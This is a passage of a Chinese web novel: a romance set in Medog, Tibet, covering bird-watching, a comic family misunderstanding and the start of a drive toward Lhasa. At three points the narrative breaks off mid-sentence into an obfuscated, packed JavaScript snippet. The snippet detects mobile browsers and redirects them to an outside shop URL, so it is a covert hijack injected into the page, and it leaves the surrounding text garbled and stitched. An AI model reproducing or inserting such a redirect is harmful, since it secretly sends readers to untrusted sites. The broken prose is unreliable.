可燕栖山没有开始复述稿子,他伸手在自己的包里摸出一盒药,单手倒在床上,抠出来一颗,想了想,拿切药器分了,付舟盯着他喉结滚动,微微仰头把那半颗药就水咽下去。 “止痛片?”付舟问,不是他爱管闲事,只是高原用药难免得谨慎些。 “嗯。”燕栖山给他看了一眼包装盒。 “为什么用手接烟头?我本来都准备好泼水了。”这只是个单纯的疑问句,但付舟总感觉自己有点咄咄逼人,可他说话习惯直来直往了,一时间不知道怎么委婉地表达关心。 “不要紧的,当时脑子一热,怎么说呢,我这人有点‘长子综合征’,这种情况容易热血上头······呃,就是类似付出型完美主义。”燕栖山解释,随后就转向电脑,似乎是拒绝将这个话题继续下去。 电脑页面上文档打开,燕栖山已经敲好了标题和第一节: 老虎的故事。文/燕山。 上回说到我和F去了果果塘大拐弯,而今天我们终于进入了墨脱的原始森林,不仅仅是鸟类,我们甚至观察到了老虎的脚印。墨脱,从本世纪初开始关于老虎的记录就非常稀少,直到近几年数量才有所增多······ “F,是我?”付舟明知故问。 燕栖山说:“啊,可以写吗,这个算是我们杂志的一个小板块,写写游记啊,小科普什么的,理论上要求如实记录,如果你授权的话我就写实名?” 付舟目前没什么把实名印刷出来的兴趣:“不用,F挺好的······嗯,保持一点神秘感。” “虽然略显老生常谈,但仍然值得重申的是,我们仍然面临动物和人类的矛盾,在我和村民的闲谈中,他们告诉我在上世纪末老虎就经常出现在村中毁坏庄稼,偷吃牲畜,而在批准之下,村民们也曾经杀死过一只老虎。老虎是为了生存,村民也是为了生活,只是······” “只是你总归还是想做些什么,对吧?动物保护、植物保护······栖息地的留存问题需要慢慢呼吁磨合。”付舟问。由于他的研究方向是高原植物群落保护,这些年来他已经阅读了很多有关于人地矛盾的文章,但是却没有怎么想过家乡的环境问题,况且有的时候就算想了也是无能为力。 可其实借着这次返乡,他也想再想一下这个问题了。 “对的,我想试一下,从一点科普文章开始写起也可以,至少多一个人看到。”燕栖山回答他,脸上明明白白写着理想主义。 以往付舟会觉得这是没经历过社会毒打的孩子幼稚的想法,可燕栖山说得很认真,他忽然很想和他一起。 他正准备继续说什么,“叮”一声,电脑上微信弹出一条消息: 【越水水水】马上到拉萨了!你什么时候来接我鸭~[心][心][心] 付舟不是有意要看,但燕栖山的电脑设置的像个老人机,每个字都无比巨大。发消息的人昵称可爱,语气活泼,看上去像个年纪不大的女孩子。 是女朋友?付舟寻思,也不奇怪,倒不如说燕栖山这种人还单身这种事才更奇怪。 燕栖山道了声抱歉,抓起手机开始打语音电话:“你几号的飞机······开车?!”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然燕栖山应该是认真问的,不是想要膈应他,但付舟尴尬万分,搪塞道:“天天荒郊野岭到处跑收集样本,吃饭也吃的全是白人饭,体质不好就客死他乡了······非要说的话,之前玩过一点攀岩?” 其实关于付舟的健身故事还有一段黑暗的少年往事。 十五岁时只有一米六二的付舟曾经每天放学后固定被一伙臭名昭著的英区青少年围殴,天天顶着乌青的眼圈和流血的嘴角上学,当时他就痛定思痛开始疯狂健身,努力程度一度让谢文远担忧他会变成施瓦辛格。 好在付舟并没有成为健美冠军的潜质,不过也不知道什么原因,他在十七岁那年长到了一米八,可以平视那帮青少年的头头之后对方就忽然对他丧失了兴趣。 燕栖山很捧场地感叹付哥好厉害,付舟真不想让他这么给情绪价值了,于是说现在室内攀岩场地挺多,以后可以试试,不难的。 而燕栖山怅然若失:“不行啊,付哥,我严重恐高。” 原来如此,付舟把这条默默记下了,以后我俩少去高的地方。 直到躺下,吃了止痛药的燕栖山仍然秒睡,付舟才又想起来白天燕栖山拍的那张照片,与他常拍的风景照和鸟类特写不同,那张照片明显是聚焦在人物上的。 这小孩偷拍我?付舟猛地意识到。 可他很困了,想不出个所以然,就当他偶尔也需要有人物的风光照。 侧睡有点热,他翻个身平躺,余光看见燕栖山也平躺着,极其不舒服地架着那只受伤的手。 脑壳里目前是一团糨糊的付舟想着自己睡觉不会乱动,轻轻地伸手把燕栖山那只手拉过来,用自己两只手握好放在自己胸口。 这样固定住就不会扯到伤口了吧,付舟想着想着睡着了。 8. 九色鸟 燕栖山醒来的时候感觉手背下面软软的。 被子?枕头?他迷迷糊糊地压了两下。 不得了,这枕头还是个活物,热乎乎的,正在平缓地一上一下起伏。虽说已经入春,墨脱的早晨还是有一丝凉意,燕栖山对于这个暖手宝很满意,他又蹭了两下,想着这大概是个摸家里宠物猫的梦。 好软,好舒服,好想把脸埋到里面蹭一蹭······ 不对,猫······是不是应该长毛来着?家里不是无毛猫啊。 不对!!! 燕栖山如被人当头浇了一桶冰水,猛地清醒过来,想把手从他现在已经意识到是练得很好的胸肌的东西上面移开,那人却动了,抓住他的手腕,几不可闻道:“别动······小心手。” 付舟几乎是在把燕栖山的手往他的胸肌上摁。 燕栖山长这么大,肢体接触方面完全是一张白纸,连上一次拉别人手都是小学四年级春游,老师说女生一排男生一排手拉手别走丢,在他旁边的女同学不客气地白他一眼,大发慈悲地赏他一根小指拉着。 不管怎么说乱摸别人胸肌还是太刺激了。 付舟的手很冰,而原本有点发冷的燕栖山这会儿已经满头大汗,也不知道是痛的还是急的,正在试图在不惊醒对方的情况下把伤手抽出去。可人在刚醒的时候对肌肉的操控能力有限,燕栖山偷鸡不成蚀把米,胳膊一拧,直接给了付舟的胸部一下,力气倒不大,但“啪”一声,声音很不妙。 听着还挺有弹性的。 付舟:??? 他现在也反应过来,正睁开眼准备问燕栖山没事殴打别人胸口干什么,在梦里备战金腰带吗? 刚支起半个身子,就看见脸色通红的燕栖山和被子缠在了一起,他长手长脚,被裹得像个春卷,吊着一只手没法自救,眼看就要掉到床边的夹缝里去了。 付舟想都没想,伸手去拉他,惦记着燕栖山的伤手,他想抓燕栖山的手腕——没抓住,他揪住了被子的一个角。 这条印着黄色小碎花的旧被子在不该展开的时候以光速展开,付舟觉得应该至少逼近了第三宇宙速度,他为了抓住燕栖山,并没意识到自己也同时在往床边移动。 被子展开了,付舟被卷进去,被子合上了。 燕栖山摔进床和墙壁的缝里,连带着还没完全清醒过来的付舟。 “哐当!” 整幢楼都抖三抖。 付舟趴在燕栖山的怀里,一只手撑在对方的肩膀上,缝隙实在太过逼仄,没有办法完全倒下去,燕栖山伸着手,几乎是半抱着他,他好险没一头磕在对方肩膀上。 这个姿势完全是在cos附生植物啊,付舟脱线地想,长舒一口气。 他俩对视一眼,突然狂笑起来。 “你俩搞啥呢,一大早叮铃咣啷的?” 忘记上油的合页发出嘎吱声,楼下正在准备早饭的格桑次仁破门而入,燕栖山还沉浸在“非礼”付舟的尴尬中,大叫“不好意思”,用完好的左手捂住脸。 付舟闻声回头,他爷爷六十多年来饱经风霜,皱纹如刀刻一般的脸上露出一个恍然大悟的表情,那表情很快变成恨铁不成钢,这个表情很熟悉,付舟知道自己即将大祸临头。 格桑次仁用藏语怒道:“付舟!云丹嘉措!不许占小燕便宜!” 看来事态比他想的还严重,因为他爷爷同时叫了他普通话和藏文的全名。 格桑次仁言罢摔门离去,这老头上了年纪后变得相当轴,丝毫不给付舟辩解的机会。 付舟只好提高声音:“我没有占他便宜!” 远远传来回复:“我听你玉珍姐说了,你之前嚯嚯小姑娘还不够吗?非得再对齐整小伙子也下手?”似乎为了提醒燕栖山,他还特意用了普通话。 完蛋,看来玉珍姐并不知道他爷爷也是他之前伪造对象的受害者,现在他的形象彻底成了男女不忌的海王,真是搬起石头砸自己的脚,付舟感觉自己趾骨都被生生砸穿。 “什么······嚯嚯小姑娘?”燕栖山困惑道,看付舟的目光带点难以置信。 付舟头痛:“······一言难尽,不是你想的那个意思,有空再解释,现在咱俩先出去,行吗?” 他一手撑住床沿,开始试图从被子的桎梏中挣扎出去,不料被子角被燕栖山压在身下,付舟像条案板上的活鱼一样垂死弹跳两下,燕栖山原本也在努力够下面的被子,然而他突然不动了,按住付舟的肩膀,付舟本能地挣了一下,没挣动。 他原本正趴在燕栖山腰上往背后摸,付舟茫然地抬起头,下巴还搁在燕栖山胸口。 燕栖山脸好红,茂密的卷发正在朝四面八方乱翘,额角冒汗,简直像被头朝下摁进番茄汁里,被窗户透出的阳光照得亮晶晶的。 付舟再一次意识到这人真的有一双很明亮的大眼睛。那双浅色的眼睛看着他,眼眶通红,眉毛也弯弯的,付舟已经脑补出了一只泫然欲泣的卷毛小狗。 ——好吧,以燕栖山的体型最少也是个金毛。 怎么搞得我真的像在占他便宜一样,付舟想。 燕栖山咬着牙,脸上羞愤交加:“别······别蹭,付哥,对不起。” 付舟一头雾水,心想这家伙怎么这么喜欢道歉,但听话地不动了,然后他立刻明白燕栖山为什么道歉了。 哦,原来是男性早晨生理反应。 这下尴尬了。 他朝燕栖山挤出一个微笑:“没事,正常的,我也是男的啊。” 燕栖山看上去并不觉得没事,他又恢复一手捂脸的状态,耳根通红,一言不发,感觉在他头上放一烧水壶能立刻烧开尖叫喷气,倒不如说此人看上去已经在喷气了。 这种局面之下付舟终于抓住了被角,一把扯开,他一个鲤鱼打挺站起来靠在墙上。 啊,腿麻了。 “我去下卫生间!” 燕栖山速度比他还快,一跃而起,用被子裹住下半身,当然他脚也麻了,走路一瘸一拐的。 付舟觉得自己留在这里也有点不合适,想了想还是踉跄着先下楼去了。 他去厨房拿了俩奶渣包子就着酥油茶啃,格桑次仁给其他客人送过早餐,此时正沉默地站在灶台边看他,眼神和有客人订烤乳猪后,他站在猪圈旁边挑选幸运家猪的时候差不多。 唯一的区别是卖一只烤乳猪格桑次仁能赚七百,而他孙子是个不值钱的非卖品,所以老头的眼神更加冷冽肃杀。 付舟梗着脖子咽下一口包子,朝他爷爷努力露出一个最天真无邪的笑容。 格桑次仁语出惊人:“你们怎么结束那么快?” 说罢又关心道:“你那里没什么问题吧?” “咳咳!······咳!”付舟猝不及防,被包子噎住,他赶紧灌了半杯茶下去顺顺,狼狈地一抹嘴:“我们俩什么都没干!” 也许是上了年纪有点耳背,格桑次仁充耳不闻:“小燕呢,你怎么自个儿下来了?” “呃,他需要自己处理一下。” “你让人家自己处理?!”格桑次仁大惊失色,咆哮道,声音里充满对付舟提裤子就走人行为的控诉。 付舟绝望大叫:“行行好吧!格桑同志,我俩真的啥都没有!” 燕栖山插入对话:“那个,早上大家都挺有活力啊,哈哈。”他之前被付舟压住,明显腿麻得更严重,正扶着扶手下楼。 水珠顺着线条流畅的脖子淌进领口,他已经把纱布撕了,还没来得及换新的,昨天被蚂蝗咬开的伤口一沾水更显得嫣红,看来他刚刚火速冲了个澡。 “我把被子洗了,可以晾天台上吗?” 那被子在地上滚了一圈确实沾灰得洗,付舟点点头,把视线从燕栖山脖子上移开:“麻烦你了,等下我来晾就行。” “你还让小燕自己洗?云丹嘉措,你挺能啊!” 又来了,付舟不知道该怎么解释,毕竟他俩真的只是物理意义上的“滚床单”,但感觉只会越描越黑。 格桑次仁半带担忧半带惋惜地看燕栖山,给他看得直冒冷汗,满脸都是上好的大白菜被自家猪拱了的无可奈何。 他给燕栖山拉了把椅子,又把一盘奶渣包子和一壶酥油茶端到他面前,看到燕栖山脖子后面被蚂蝗咬的印子更是连连叹气,推门离去。 离开之前留下一句:“好好的孙子,怎么留学留的成这样了!” 燕栖山受宠若惊,左看看门右看看付舟,最终还是拿了个包子咬了一口。 事已至此,事情再大,还是先吃饭吧。 “咦?有点甜,好像奶酪。” 等下再思索怎么处理愤怒的老头吧,付舟咽掉最后一口,边洗手边回答:“今天酥油茶是咸的,那个······怎么说来着?‘咸甜永动机’?” 奶渣包子他自己不太爱吃,但他觉得燕栖山应该会喜欢的。 年纪小嘛,爱吃甜的。 付舟去卫生间把燕栖山洗的被套和被子塞进洗衣篮,抬着篮子上了天台。 藏式碉房的屋顶一般用来晾晒粮食,村子依地势而建,而他们家在村子里算位置较高的,所以屋脚上有几条五彩斑斓的经幡延伸到低矮一些屋檐上。今日不晴,日光却很明亮,天空呈现一种灰白的质感,像小时候无聊拿两块石头摩擦在一起蹭出的颜色,稍稍显得晃人眼睛。 付舟眯着眼看天,远远看见有群鸟滑翔而过,只是他也辨不出来什么,所以单纯是以一个门外汉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513139|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼光在欣赏。 微风拂面而来,引得经幡猎猎,潮湿的空气里有浅淡的泥土和苔藓的气味。 付舟去角落把晾衣杆拿过来,把一端支好,这时候燕栖山也爬上楼,很自然地伸手接过晾衣杆的另一端架在肩膀上,示意付舟把被套挂上。 两个人快速晾好被子,默契地对于早上的事闭口不提。 付舟跳上天台的边缘朝村口张望,那里的警戒线已经撤掉了,等着沿公路通过狭窄的隧道开出墨脱的车排起长队,他眼见着已经有两家人拖着行李箱从他们家民宿出来,估计这几天也没什么忙的了。 看来路已经抢通了,去拉萨的事可以提上日程。 燕栖山站在后面稍远一点,明显不愿意接近没有防护的屋顶边缘,期期艾艾地开口:“付哥,你小心一点啊。” 下面全是其他碉房错落的屋顶,最近的只有一米不到的落差,就算失足也不至于摔伤,但付舟还是倒退一步跳下来,抬起胳膊伸了个大大的懒腰,筋骨舒展,他忽然感觉很畅快,很久没有这么畅快了。 “这两天外面又能进人了,应该有可以租的车进来,明天我们弄一辆车开到拉萨?”付舟问他。 燕栖山说:“我举双手赞同,同事也在问返程时间了,只是我这手······”他为难地看看绷带。 “不要紧,我开就成,到时候开慢点就行,直接开到拉萨也得连开十几个小时,而且好多山路。一口气开谁受得了,路上可以多停停,我记得景点也挺多的。那个······八十公里的地方我记得是个观鸟圣地?” 燕栖山又忧虑起来:“对,我们叫80K鸟塘。可是······这样我不是帮不上什么了吗?” 付舟赶紧阻止他的胡思乱想:“开长途没人聊天怎么行,记得路上多说话啊。” 其实还有一件事,不过他还没想好如何开口:林芝的桃花季到了,他一直很想亲眼看一下,只是突然问别人要不要赏花多少有点奇怪。反正开车要经过林芝,到时再说也成。 眼下还有别的事要担心,比方说给爷爷辟谣一下他莫须有的作风问题。 至于性取向······付舟自认为不是同性恋,然而他也不太确定自己是不是异性恋或无性恋,长这么大他还没有遇到能让他产生内心悸动的人,不过感情这种事情还是顺其自然的好。 光是试图搞明白研究对象的界门纲目科属种就已经杀灭了他大部分脑细胞,更别说最新的成果还得加上DNA分子系统学,爱情的事情对他来说就在西藏看见狼毒草一样,看看就得了,谁知道采了会不会中毒。 所以对于自己的情感倾向,他唯一能确定的是自己肯定喜欢的是人科人属人种,而不是沃尔玛购物袋或者摩托车排气管。 没等付舟琢磨明白情感问题,燕栖山凑上来拉拉他的袖口。 “听说这两天有人在卡久寺拍到了九色鸟!”他眉飞色舞,举起手机兴冲冲地给他展示一只有着斑斓冠羽的昂首大鸟,“‘轩渠国多九色鸟,亦名锦凤,常从弱水来,或云为西王母之禽。’!这可是大明星!” 付舟感觉自己中文造诣实在是不够,因为他没听懂燕栖山那一段文言文是什么意思,但他确实认识这鸟:“啊,是‘加唐’啊······嗯,藏语里的意思是‘孔雀第二’,是有灵性的鸟。” 燕栖山说:“下次来藏南,我们一起去看吧。” 付舟问:“这次不去吗?卡久寺在山南,也不算远。” 对方知道他常居英国不常回西藏,这个“我们”也不知是不是认真的。 燕栖山回答:“留点念想,好多来几次呀。” 西藏······确实是会留下好多念想的地方。 付舟有点想问燕栖山除了九色鸟还有什么念想,但自觉问了也没啥意义,因为他不知道自己想得到什么答复。人家念什么想什么和自己这个······本质上还是陌生人的旅伴也没关系,问多了倒显得讨人嫌了。 好在这时他的微信响了,还是个语音通话,恰好解决了让人难受的寂静。 付舟以为是谢文远,看也没看,毫无防备地接起来,通话那头传来女孩甜美且震耳欲聋的声音:“小舟哥,你真好,我爱死你了!还有吗,再给人家发点嘛~” 紧接着对面换成了一个声音清亮的少年,同样听之使人耳聋:“之前那次做的真的很好,小舟哥,啥时候回英国呀,再来都柏林找我好不好好不好,我老时间有空的。” 简直是俩高音喇叭,挂村口放通知的那种,付舟被迫把手机举远了点,以免被对面的唾沫星子隔空攻击,一抬头对上燕栖山震惊难言的目光。 他一个手滑,把语音挂了。 这下倒好,更显得他心里有鬼。 9. 水仙百合 燕栖山看样子似乎被对方暧昧不清的话搞得精神损伤,付舟后知后觉,也觉得对面那俩小兔崽子说的话以路人角度确实不大对劲。 再加上之前格桑次仁的话,他的形象更是已经成为一滩废墟瓦砾。 付舟说:“是我师妹和她弟弟,说的是研究的事。我······” “嗯,你不用告诉我的,那个,君子之交嘛。”燕栖山抢白,语速快得稍显狼狈。 付舟不是很明白:“什么······意思?” 他头一次见燕栖山说话这么结巴慌乱:“就是我俩也只是······只是萍水相逢,情感生活这种私事,不用告诉我的。我······我去收拾行李。”青年说罢眼神躲闪,掉头迈开长腿下楼去了,背影几乎有些仓皇,堪称教科书级别的自乱阵脚。 付舟摸不着头脑:我这还没说什么呢。 手机再次震动,他低头一看,又是刚那人,备注:Rachel(王瑞秋(稀有兰花))。 付舟并不很情愿地接了,很有先见之明的举远,王小姐充满穿透力的声音如一支利箭破空而来:“为啥挂我啊?好师兄和你说了再多拍点嘛,上次发我的只有密茎贝母兰洛比蝴蝶兰匍茎卷瓣兰,我的杓兰······” “杓兰得在石子坡地上长,你指望我在森林中央给你找?”付舟非常不客气地打断。 “甭管她嘞!”对面传来推搡声,以及王小姐被推到一边而发出的战吼:“你活拧了?(你要死啊)”,刚刚那少年兴冲冲地又大叫,“小舟哥,下次我们学校联谊你再来呗,我同学说你脸怪拿人(讨人喜欢)呢,还有上次做的跨学科项目我导老稀罕了。” 两个人你一句“小舟哥”我一句“小舟哥”,吵得人脑子嗡嗡响。 付舟冷漠回复,虽然由于距离手机过远也不得不扯着嗓子:“瑞秋,我明天要走了没法给你拍,你要需要的话等花季到了我托人帮你拍点!瑞安,告诉你同学我不参加联谊,项目看情况吧!最后——” 王瑞秋:“啥?” 王瑞安:“啥?” “下次发消息好吗?以及说话注意措辞!” 没等姐弟俩异口同声地“啊?”一声,付舟就点了结束通话。 理论上来说,王瑞秋的稀有兰花研究更倾向植物分类学,而他本人的更接近野保,但由于他们学校植物学实在人丁稀少,大家也就管不了那么多专业划分,平常也经常互相交流打开思路。 所以王瑞秋算是他的师妹,至于她的弟弟王瑞安,虽然这小子考到了爱尔兰,在高中时期是付舟的学弟。 王瑞秋和王瑞安这对混血双胞胎长得金发碧眼,受益于歌剧演员母亲和教师父亲自带好嗓子和金刚不坏的声带,平常说英语的时候还算是人模狗样,一说中文简直是俩高音喇叭,还是东北大拉皮味儿的。 付舟从小到大最“烦”精力旺盛、一唠起来嘚啵个没完的人,不料他爷爷、他发小、他师妹学弟以及燕栖山都是这种货色,只能说是呜呼哀哉。 走下楼梯,眼瞅着撞上他爷爷,祖孙两个登时如临大敌,各退一步,用极其不信任的目光互相扫视。 付舟上前,格桑次仁后退,但仍堵着路。 付舟往左,格桑次仁往右。 付舟往右,格桑次仁往左。 半晌,付舟寻思格桑次仁应该是拉不下这个老脸先开口,无奈道:“老头,找我有事?” ——他对于爷爷观点不认同的时候就会喊他老头,这是一个老习惯,大概从他能听懂人话之后就开始了。 格桑次仁皱着眉,左顾右盼,也不知在防备什么,末了才压低声音道:“嘉措,你和小燕要一起去拉萨?” 付舟点点头。 “实话和我说,你俩真没什么?” “当然,还要我说多少······玉珍姐到底给您灌输了什么啊?” 格桑次仁立刻顾左右而言他,话锋一转:“你真的决定要干这行了吗,嘉措?这个什么,生态保护。” 付舟觉得这个问题有点怪:“应该吧,但也不好说啊,毕竟我还没毕业。” “小川······你妈妈怎么想?” 敢情在这里等着我呢,付舟恍然大悟。 他母亲有个大气磅礴的中性名字,叫付川。 当年带五岁的他去派出所改户口的时候,母亲突然从椅子上俯下身,按住他小小的肩膀,一字一句地说:“你不是云丹嘉措,你是付舟,我们是相依为命的船和水,听到了吗?你是付舟!” 当时付舟普通话还不会多少,身边人除了付川说得全是藏语,他脸颊上被高原紫外线晒伤的地方还在隐隐作痛,他懵懵懂懂:付舟······是谁? 如果是他的话,那云丹嘉措又是谁? 关于母亲的问题他一般都会搪塞过去,可他对着格桑次仁那双老是红彤彤湿漉漉的老人的眼睛没有办法敷衍,他一个借口都找不出来。 “她当然不乐意,但是······”但是我已经经济独立了,怎么样与她没多大干系。 不过这话当然也不太好说出口,付舟只能冲格桑次仁耸耸肩。 “我知道她不待见这里,唉,这都什么事啊······自从仁青······我一直心里有愧······嘉措,你以后还是别回来了,我有乡亲照顾,身子骨也硬朗,一个人挺自在的。” 格桑次仁说完扭头就走,背对着付舟挥挥手,挺决绝的。 可是······ 他妈妈对于西藏的态度从来都是一笔烂账,短时间内根本无法解决,不如说是付舟努力十年都没解决,付舟想起手机通讯录里那个英国的历史通话就觉得心累。 他懒得拉黑换号,反正付川只会打一次电话,她说的话不是要求,是命令。 现在这种命令已经对他无效,只是心里多少有些难受。 从小到大,付川对他一直是不管不顾地放养态度,母亲在他印象里一直是一个喜怒不形于色的形象,当然,上大学之后断供的时候态度也很平静就是了。 付舟强迫自己把思绪转移回明天的路线规划上,马上全是高海拔的地区,老想着烦心事别到时候高反一口气背过去。 第二天的天气不算好,和燕栖山刚来时差不多,天空像块拧不干的旧抹布,稀稀拉拉地往外渗水。 前头山路多,他们俩租了辆SUV,车子底盘高一点好开。 付舟最后检查了一下后备箱,确保他俩东西带齐了。 燕栖山正站在民宿口,笑眯眯地听格桑次仁唠叨,格桑次仁往燕栖山手里塞了一大包吃的。 “爷爷,别给他拿太多东西,手还没好呢!” “不多不多,都是吃的,你俩分着吃。” 燕栖山拎着东西钻进副驾,进去前还不忘给付舟把驾驶位那边的门开了。 付舟系好安全带,问燕栖山:“我又没伤手,用不着帮忙开车门啊。” “嘿嘿,顺手的事。”青年咧嘴。 绕车一圈开门到底哪里顺手了。 付舟闻言起了坏心思,他又把安全带解了,转身去帮燕栖山把安全带系上,俯下去的时候嘴唇里燕栖山的脖颈两厘米不到,他几乎能感受到自己的呼吸喷在对方的皮肤上。 他笑着说:“我也是顺手的事。” 燕栖山脸通红,难得安静,连格桑次仁过来和他俩告别的时候也只是闭着嘴挥手。 付舟倒车出去,后视镜里看见道路离他们越来越近,格桑次仁站在民宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513140|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,还在拼命挥手,他肤色晒得很黑,远远看去粗糙的手臂仿佛一棵树的枝干在飓风里挥舞,掉头之后,就只能从后视镜里看到那个衰老的小点了,而道路铺开在眼前。 其实付舟蛮想问问他爷爷是不是真的不想让他再来西藏了,但估计那个老固执也不会开口说挽留的话。 燕栖山抱着零食袋,他耳根还是红的,付舟心说这小孩真不经逗。 “薯片、雪饼、果冻、牦牛肉干,香橼,就是那个像大柠檬的,还有野香蕉,对不对?”付舟开出村子,驶上219国道。他们准备先开两个小时到县城转转,再过一个多小时到80k鸟塘,在那边找个旅馆过夜,正好赶上第二天单数日可以出墨脱。 燕栖山不信,埋头翻了一阵:“哇塞,付哥你透视眼啊?这是怎么知道的!” “好多年了,每次回来都给带这些,最开始还是小学美其名曰春游,实际上是挨家挨户帮忙干农活的活动。他不信邪,非觉得是真的春游,也不想想我们能去哪里游,人家都带干粮,就他给我带一背包零食。” 付舟感觉车子开始上坡,这一段还是没翻新过的老路,前面还是盘山道,相当狭窄,平常有运货的卡车路过时总得堵上那么一阵。 燕栖山问:“那其他小朋友肯定很羡慕吧?小时候大家都爱吃零食不爱吃饭的。” “他们羡慕了,我是差点渴死——老头光带零食不给装水,后面都要和牦牛抢水喝了。” 他余光看见燕栖山笑得不行,觉得不能光听自己笑话,问他:“你小时候呢,怎么春游啊?” 猛然被点名,燕栖山坐直:“我们啊,一般都是上午博物馆下午公园,路上坐大巴颠个两小时······后面还有什么生存训练,其实就是分组在市里乱转,往往还没到解散时间,大家就自己跑回家了。” 前面经过加热萨乡,海拔爬升近三千多米,山路盘旋往上,一路都是将近一百八十度的拐弯。早上没什么人,付舟开得挺慢。晨雾还没有完全消散,路边的森林笼罩在水汽里,219国道依江而建,视野清晰的时候能清晰的看到雅鲁藏布江。 水汽装在挡风玻璃上,付舟打开雨刮器,哗啦哗啦。 燕栖山开了包薯片,问付舟要不要吃,得到否定答复后开始在一旁咯吱咯吱地嚼。 哗啦哗啦,咯吱咯吱。 燕栖山忽然想起什么:“话说我之前去过英国的,四年级,去参加一个初中的什么暑期交流。” “三年级?一个人吗?” “呃,对,听上去很玄幻吧,其实我现在也很想知道当时是怎么凭借中国小学三年级的英语水平闯英一个月的。” 付舟乐了:“你爸妈心还挺大的,在英国哪里啊?” “伊斯特本,中间还去了几天伦敦和剑桥。” 伊斯特本是英国的一个沿海城市,风景很好,晴朗得简直不像英国,拥有绵延数公里的鹅卵石沙滩。 三年级,那就是十岁······十三年前,付舟想,大脑飞速运转,等一下,这不是我在伊斯特本念初中的时候吗?不过那里学校也不少,估计不是同一个。 燕栖山自然没感觉到他的想法,还在回忆:“当时有一天学校组织去看日落,天太黑了,回来路上都是半人高的杂草,大家都走散了,我后来碰到一个暑假留校的初中生才被带回大部队,那人还是个中国人,好幸运。” !!! 时间,地点,事件都对上了! 付舟正色:“说出来你可能不信,栖山,我怀疑你可能遇到了我——” 燕栖山面露讶异,屏住呼吸,满怀期待地等待付舟说下去。 “——的发小。”付舟收尾。 燕栖山顿时泄力,往后重重一靠。 10. 大紫胸鹦鹉 “你发小?”燕栖山撇撇嘴。 不太明白刚刚高高兴兴的人怎么态度转变这么快,付舟一边绕着圈上山,一边随口回复:“当时我俩住在校外宿舍,谢文远说去超市买菜的时候遇到几个迷路的小男孩,顺道给送回去了。” 燕栖山不死心,继续追问:“你呢?” “我?我当时溜达的比他远,要走到白崖那边了,遇到个落单的小女孩,估计也是你们那边的吧,后来把她带回学校了,路上没什么人,应该是没有碰到你的。” “你······确定是女孩儿吗?” 不太明白燕栖山为啥要纠结于这个问题,付舟点头:“确定啊。” 当时日暮西山,光线昏暗,也不知道小姑娘是怎么溜达到悬崖观景台边上的,幸好被付舟及时发现。付舟怕人家害怕,以为自己是坏人,说话都隔着两臂长,得用喊的——毕竟他小学的时候也觉得初中生都是恐怖分子。 不过那小孩眉清目秀,细脚伶仃,头发是垂到肩膀的自来卷,小洋娃娃似的,还穿了一件金红相间的毛线裙子,声音细细的。 总之,怎么看都是个姑娘。 前面有辆货车迎面过来,付舟减速开双闪在路边停了,等待的间隙打开手机在谢文远的朋友圈置顶动态里猛翻,找到初中毕业时他俩的合照递给燕栖山看。 照片上他们俩穿着学校的黑色正装,勾肩搭背,一副哥俩儿好的样子。 谢文远顶着一张汗津津的圆脸,咧嘴傻乐,付舟半张脸沐浴在阳光下,被初夏强烈的日光照得半眯着眼,神情百无聊赖,敞着衬衫领口,最重要的是他剃了个刺猬似的板寸,露出光洁的额头,看着非常不好惹。 “是他吗?”付舟指着谢文远。 “······” 燕栖山紧皱眉头,明显对自己记忆的真实性产生了怀疑。 等到付舟重新发动车的时候,燕栖山还在副座上抱着头使劲回想,一边还喃喃什么“不像啊”。 这时晨雾散了,他们也开到了山上,从车窗看去几乎能俯瞰河谷全景,此时距离墨脱县城还有九十六公里。 燕栖山指着窗外:“那是雅鲁藏布江吗?” 俯视的时候人习惯从下往上看,因此在山路上最先看到的就是谷中的雅鲁藏布江,也难怪燕栖山会发出这种感叹。雅鲁藏布江常常给人极为宽广辽阔的印象,但其实在部分地区,她是以非常狭窄而湍急的形态出现的,可能第一眼都不会让人以为这是“江”。 他本以为燕栖山也会发出这样的感叹,卷发青年却似乎正在寻找合适的措辞,若有所思道:“好像毛细血管。” 付舟觉得他说得对,雅鲁藏布是藏南的血管。 再往上,就是雨林,草原,和南迦巴瓦的皑皑白雪,简直是可以做课本上地理气候垂直地带性分布范本的场景。来时没精力欣赏的景色在此时于付舟面前铺开,就连盘山道开着都没有那么折磨了。 墨脱县城的海拔也比较低,下坡路相较于上坡路更加难开,幸好他们出发时已经是春天,用不着再给轮胎上防滑链。 翻山越岭地又开了一小时,期间燕栖山消灭三包薯片和两罐可乐,他已经完全适应了如何在右手只有手指能动的情况下快速开包装吃东西,并在付舟的指示下给他喂了一包苏打饼干。 不幸村子小卖部的苏打饼干质量欠佳,手指一捏到处掉葱香味的屑屑,搞得车里气味复杂,燕栖山的间歇性洁癖发作,面如土色地开始擦座位缝隙。 到了县城,付舟把车开到加油站排队,解了安全带开始打扫驾驶位。 